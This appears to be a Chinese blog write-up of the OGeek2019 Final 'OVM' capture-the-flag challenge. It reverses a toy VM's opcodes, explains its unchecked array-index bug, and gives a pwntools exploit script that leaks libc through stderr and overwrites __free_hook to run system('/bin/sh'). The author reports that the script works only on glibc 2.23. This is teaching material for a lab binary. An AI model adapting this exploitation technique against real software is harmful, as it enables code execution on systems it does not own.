[OGeek2019 Final]OVM——详细入门VM pwn

2023-10-07 18:59

本文主要是介绍[OGeek2019 Final]OVM——详细入门VM pwn,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

是一个入门级别的题目,但是花了非常久的时间整理

刚拿到题目进行反编译的时候是非常懵逼的,因为我确实不知道这是干啥的 查了下资料 原理大概如下 VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下:

初始化分配模拟寄存器空间(reg) 初始化分配模拟栈空间(stack) 初始化分配模拟数据存储空间(data) 初始化分配模拟机器指令(opcode)空间(text)

也就是说,我们给程序输入一串指令,这个程序会有自己独特的,对代码的理解,并进行像分解成机器码那样,执行,而像寄存器,栈空间,存储空间都是程序自己设计的,而不是系统分配的

首先看看主函数 一开始要求输入var_C,var_Ae的时候实属懵逼,这究竟是要干啥?

昨晚题目,个人认为var_A,var_C没啥用,至少在这一题上没什么用,但是并不意味着它们的值可以乱设置,因为根据代码,它们分别决定了code_size和code在内存的位置(很容易看代码得出)

主函数的逻辑大概就是,首先让你输入var_C(可以近似看成RIP),var_A(可以近似看成RSP),然后让你输入代码,而这个代码接下来就要经过处理,首先这个代码是被放在memory数组里面的,然后经过一个判断,如果低三位没有数据,则最高位就用0xe0来填充

接着进入了一个while循环语句,很明显,这就是拆解代码,类似于整理成机器码 进入fetch()函数:

__int64 fetch()
{int v0; // eaxv0 = reg[15];reg[15] = v0 + 1;return memory[v0];
}

就类似于RIP执行完一条指令自动往后走的作用

接着我们点开核心代码execute()
 

ssize_t __fastcall execute(int code)
{ssize_t opcode; // raxunsigned __int8 op2; // [rsp+18h] [rbp-8h]unsigned __int8 op1; // [rsp+19h] [rbp-7h]unsigned __int8 dest; // [rsp+1Ah] [rbp-6h]int i; // [rsp+1Ch] [rbp-4h]dest = (code & 0xF0000u) >> 16;               // 目的寄存器op1 = (code & 0xF00) >> 8;                    // 操作寄存器1op2 = code & 0xF;                             // 操作寄存器2opcode = HIBYTE(code);if ( HIBYTE(code) == 0x70 ){opcode = reg;reg[dest] = reg[op2] + reg[op1];            // 目的寄存器=操作寄存器1+操作寄存器2return opcode;}if ( HIBYTE(code) > 0x70u ){if ( HIBYTE(code) == 0xB0 ){opcode = reg;reg[dest] = reg[op2] ^ reg[op1];          // 目的寄存器=操作寄存器1 ^ 操作寄存器2return opcode;}if ( HIBYTE(code) > 0xB0u ){if ( HIBYTE(code) == 0xD0 ){opcode = reg;reg[dest] = reg[op1] >> reg[op2];       // 右移位运算return opcode;}if ( HIBYTE(code) > 0xD0u ){if ( HIBYTE(code) == 0xE0 ){running = 0;if ( !reg[13] )                       // 如果_rsp不为空return write(1, "EXIT\n", 5uLL);}else if ( HIBYTE(code) != 0xFF ){return opcode;}running = 0;for ( i = 0; i <= 15; ++i )printf("R%d: %X\n", i, reg[i]);return write(1, "HALT\n", 5uLL);}else if ( HIBYTE(code) == 0xC0 ){opcode = reg;reg[dest] = reg[op1] << reg[op2];       // 左移位运算}}else{switch ( HIBYTE(code) ){case 0x90u:opcode = reg;reg[dest] = reg[op2] & reg[op1];      // 进行与运算break;case 0xA0u:opcode = reg;reg[dest] = reg[op2] | reg[op1];      // 进行或运算break;case 0x80u:opcode = reg;reg[dest] = reg[op1] - reg[op2];      // 减法运算break;}}}else if ( HIBYTE(code) == 0x30 ){opcode = reg;reg[dest] = memory[reg[op2]];}else if ( HIBYTE(code) > 0x30u ){switch ( HIBYTE(code) ){case 0x50u:LODWORD(opcode) = reg[13];reg[13] = opcode + 1;opcode = opcode;stack[opcode] = reg[dest];break;case 0x60u:--reg[13];opcode = reg;reg[dest] = stack[reg[13]];break;case 0x40u:opcode = memory;memory[reg[op2]] = reg[dest];break;}}else if ( HIBYTE(code) == 0x10 ){opcode = reg;reg[dest] = code;}else if ( HIBYTE(code) == 0x20 ){opcode = reg;reg[dest] = code == 0;}return opcode;
}

可以看到我们之前输入的code果然被分解了,每个字节被分别分配给了四个变量,分别可以认为是操作码,目的寄存器,操作寄存器1,操作寄存器2.

接下来就是最烦人的逆向了,经过一系列有耐心的分析后,我们可以得出这样一个结论:

mov reg, src2		 	0x10 : reg[dest] = src2
mov reg, 0				0x20 : reg[dest] = 0
mov mem, reg            0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem            0x40 : memory[reg[src2]] = reg[dest]
push reg                0x50 : stack[result] = reg[dest]
pop reg                 0x60 : reg[dest] = stack[reg[13]]
add                     0x70 : reg[dest] = reg[src2] + reg[src1]
sub                     0x80 : reg[dest] = reg[src1] - reg[src2]
and                     0x90 : reg[dest] = reg[src2] & reg[src1]
or                      0xA0 : reg[dest] = reg[src2] | reg[src1]
^          	        	0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left                    0xC0 : reg[dest] = reg[src1] << reg[src2]
right                   0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper

经过搜查资料可以知道,这种VM pwn最常见的漏洞点就是数组溢出,往往因为不检查数组下标而容易发生内存泄露!

仔细分析代码都可以发现,这些操作都没有对数组的下标进行检查,这样会导致什么后果呢,举个例子,如果有一个重要数据B存在数组array[10]的内存前面,如果不对数组的下标进行检查的话,那么我就可以构造array[-1]并输出,就可以得到B的内容了

我们接着分析代码:
 

 write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);read(0, comment, 140uLL);sendcomment(comment);write(1, "Bye\n", 4uLL);return 0;

在这一段中,程序往comment存储的内容指向的地址输入东西,而comment是bss段上的数据,同样可以因为不检查下标通过输入负数可以被操作到,这样攻击思路就出来了。

利用思路: 1.先任意读把stderr的地址,分高低地址读到两个寄存器中 2.gdb调试出freehook于stderr的固定偏移,我们改存stderr低地址的寄存器+固定偏移就是freehook的低地址 3.任意写把bss段comment存的堆地址改写为free_hook地址-8 4.执行print功能泄露地址,算出libc_base,得出system 5.接着的read会往free_hook地址-8读0x8c,我们只要填’/bin/sh\x00’+p64(system), 最后free时就会执行system(’/bin/sh’)

下面是错误的exp(用ubuntu20.04疯狂攻击,发现只有在16.04行得通,但是思路是对的,exp网上搜得到)
 

from pwn import *
io = process("./pwn")
elf = ELF("./pwn")
libc=ELF('./libc-2.23.so')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
def code_generate(code, dst, op1, op2):res = code<<24res += dst<<16res += op1<<8res += op2return resio.recvuntil(b"PC: ")
io.sendline(b'0')
io.recvuntil(b"SP: ")
io.sendline(b'1')
io.recvuntil(b"CODE SIZE: ")
io.sendline(b'33')
io.recvuntil(b"CODE: ")
gdb.attach(io)
pause()
io.sendline(str(code_generate(0x10, 0, 0, 26)).encode('utf-8')) #reg[0] = 26 (stderr) ,该OVM模拟的是32位机器,stderror地址为$rebase(0x201ff8),而memory地址为$rebase(0x202060),二者之间差距为0x68,注意该ovm模拟32bit机器,所以reg每一个偏移为4,故二者偏移为0x68/4=26
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]print("---------------------------------------------------------------------------------")
io.sendline(str(code_generate(0x30, 2, 0, 1)).encode('utf-8')) #reg[2] = memory[reg[1]]  #stderror地址的低4bytes
io.sendline(str(code_generate(0x10, 0, 0, 25)).encode('utf-8')) #reg[0] = 25
io.sendline(str(code_generate(0x10, 1, 0, 0)).encode('utf-8')) #reg[1] = 0
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]
io.sendline(str(code_generate(0x30, 3, 0, 1)).encode('utf-8')) #reg[3] = memory[reg[1]] #stderror地址的高4bytes
io.sendline(str(code_generate(0x10, 4, 0, 1)).encode('utf-8')) #reg[4] = 1
io.sendline(str(code_generate(0x10, 5, 0, 14)).encode('utf-8')) #reg[5] = 14
io.sendline(str(code_generate(0xC0, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]<<reg[5]#reg4=0x4000
io.sendline(str(code_generate(0x10, 5, 0, 1)).encode('utf-8')) #reg[5] = 1
io.sendline(str(code_generate(0x10, 6, 0, 12)).encode('utf-8')) #reg[6] = 12
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0x1000
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5000io.sendline(str(code_generate(0x10, 5, 0, 3)).encode('utf-8')) #reg[5] = 3
io.sendline(str(code_generate(0x10, 6, 0, 10)).encode('utf-8')) #reg[6] = 10
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0xc00
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c00io.sendline(str(code_generate(0x10, 5, 0, 2)).encode('utf-8')) #reg[5] = 2
io.sendline(str(code_generate(0x10, 6, 0, 5)).encode('utf-8')) #reg[6] = 5
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0x40
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c40io.sendline(str(code_generate(0x10, 6, 0, 11)).encode('utf-8')) #reg[6] = 11
io.sendline(str(code_generate(0x80, 4, 4, 6)).encode('utf-8')) #reg[4] = reg[4] - reg[6]io.sendline(str(code_generate(0x70, 2, 4, 2)).encode('utf-8')) #reg[2] = reg[4]+reg[2]#reg2为stderror的低4bytes,stderror距离freehook的偏移为0x5c48,这里使用0x10a0,求得freehook-0x8的位置io.sendline(str(code_generate(0x10, 4, 0, 8)).encode('utf-8')) #reg[4] = 8
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 2, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[2] #改comment指向free_hook
io.sendline(str(code_generate(0x10, 4, 0, 7)).encode('utf-8')) #reg[4] = 7
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 3, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[3]
io.sendline(str(code_generate(0xE0, 0, 1, 1)).encode('utf-8')) #exitio.recvuntil(b"R2: ")
low = int(io.recvuntil(b'\n').strip(), 16) + 8
io.recvuntil(b"R3: ")
high = int(io.recvuntil(b'\n').strip(), 16)
free_hook = (high<<32)+lowlibc_address = free_hook - 0x2234a8
system = 0x53d60+libc_address+11
print(hex(system))
io.recvuntil(b"HOW DO YOU FEEL AT OVM?\n")io.sendline(b'/bin/sh\x00'+p64(system))io.interactive()

可恶啊,一直打不通
 发现报错,真是奇怪,明明和网上wp都差不多,于是我打开glibc源码对比2.23和2.27,发现2.27多了一个这样的检查:

  /* Little security check which won't hurt performance: theallocator never wrapps around at the end of the address space.Therefore we can exclude some size values which might appearhere by accident or by "design" from some intruder.  */if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)|| __builtin_expect (misaligned_chunk (p), 0))malloc_printerr ("free(): invalid pointer");

这段代码是一个内存分配器的安全性检查部分。它主要包含两个条件判断语句,用于验证给定的指针p和大小size是否有效。

第一个条件判断语句检查指针p是否超出了地址空间的范围。如果p大于等于0且小于等于可用的地址空间大小减去size,则认为p是有效的。否则,会调用malloc_printerr("free(): invalid pointer")打印错误信息。

第二个条件判断语句检查给定的大小size是否小于最小分配块的大小(MINSIZE)或者不满足对齐要求。如果满足这些条件,则认为size是无效的。否则,不会发生任何操作。

这两个条件判断语句的目的是确保在进行内存释放操作之前,所提供的指针和大小都是有效的。这样可以避免潜在的安全漏洞或错误。

而2.23则没有这个检查,哎学到了,不是malloc出来的地址它不要,难绷

学到了

这篇关于[OGeek2019 Final]OVM——详细入门VM pwn的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/159793

相关文章

SpringBoot整合easy-es的详细过程

《SpringBoot整合easy-es的详细过程》本文介绍了EasyES,一个基于Elasticsearch的ORM框架,旨在简化开发流程并提高效率,EasyES支持SpringBoot框架,并提供... 目录一、easy-es简介二、实现基于Spring Boot框架的应用程序代码1.添加相关依赖2.添

Java调用DeepSeek API的最佳实践及详细代码示例

《Java调用DeepSeekAPI的最佳实践及详细代码示例》:本文主要介绍如何使用Java调用DeepSeekAPI,包括获取API密钥、添加HTTP客户端依赖、创建HTTP请求、处理响应、... 目录1. 获取API密钥2. 添加HTTP客户端依赖3. 创建HTTP请求4. 处理响应5. 错误处理6.

Spring AI集成DeepSeek的详细步骤

《SpringAI集成DeepSeek的详细步骤》DeepSeek作为一款卓越的国产AI模型,越来越多的公司考虑在自己的应用中集成,对于Java应用来说,我们可以借助SpringAI集成DeepSe... 目录DeepSeek 介绍Spring AI 是什么?1、环境准备2、构建项目2.1、pom依赖2.2

Goland debug失效详细解决步骤(合集)

《Golanddebug失效详细解决步骤(合集)》今天用Goland开发时,打断点,以debug方式运行,发现程序并没有断住,程序跳过了断点,直接运行结束,网上搜寻了大量文章,最后得以解决,特此在这... 目录Bug:Goland debug失效详细解决步骤【合集】情况一:Go或Goland架构不对情况二:

Python itertools中accumulate函数用法及使用运用详细讲解

《Pythonitertools中accumulate函数用法及使用运用详细讲解》:本文主要介绍Python的itertools库中的accumulate函数,该函数可以计算累积和或通过指定函数... 目录1.1前言:1.2定义:1.3衍生用法:1.3Leetcode的实际运用:总结 1.1前言:本文将详

Deepseek R1模型本地化部署+API接口调用详细教程(释放AI生产力)

《DeepseekR1模型本地化部署+API接口调用详细教程(释放AI生产力)》本文介绍了本地部署DeepSeekR1模型和通过API调用将其集成到VSCode中的过程,作者详细步骤展示了如何下载和... 目录前言一、deepseek R1模型与chatGPT o1系列模型对比二、本地部署步骤1.安装oll

Spring Boot整合log4j2日志配置的详细教程

《SpringBoot整合log4j2日志配置的详细教程》:本文主要介绍SpringBoot项目中整合Log4j2日志框架的步骤和配置,包括常用日志框架的比较、配置参数介绍、Log4j2配置详解... 目录前言一、常用日志框架二、配置参数介绍1. 日志级别2. 输出形式3. 日志格式3.1 PatternL

Springboot 中使用Sentinel的详细步骤

《Springboot中使用Sentinel的详细步骤》文章介绍了如何在SpringBoot中使用Sentinel进行限流和熔断降级,首先添加依赖,配置Sentinel控制台地址,定义受保护的资源,... 目录步骤 1: 添加 Sentinel 依赖步骤 2: 配置 Sentinel步骤 3: 定义受保护的

本地私有化部署DeepSeek模型的详细教程

《本地私有化部署DeepSeek模型的详细教程》DeepSeek模型是一种强大的语言模型,本地私有化部署可以让用户在自己的环境中安全、高效地使用该模型,避免数据传输到外部带来的安全风险,同时也能根据自... 目录一、引言二、环境准备(一)硬件要求(二)软件要求(三)创建虚拟环境三、安装依赖库四、获取 Dee

MySql9.1.0安装详细教程(最新推荐)

《MySql9.1.0安装详细教程(最新推荐)》MySQL是一个流行的关系型数据库管理系统,支持多线程和多种数据库连接途径,能够处理上千万条记录的大型数据库,本文介绍MySql9.1.0安装详细教程,... 目录mysql介绍:一、下载 Mysql 安装文件二、Mysql 安装教程三、环境配置1.右击此电脑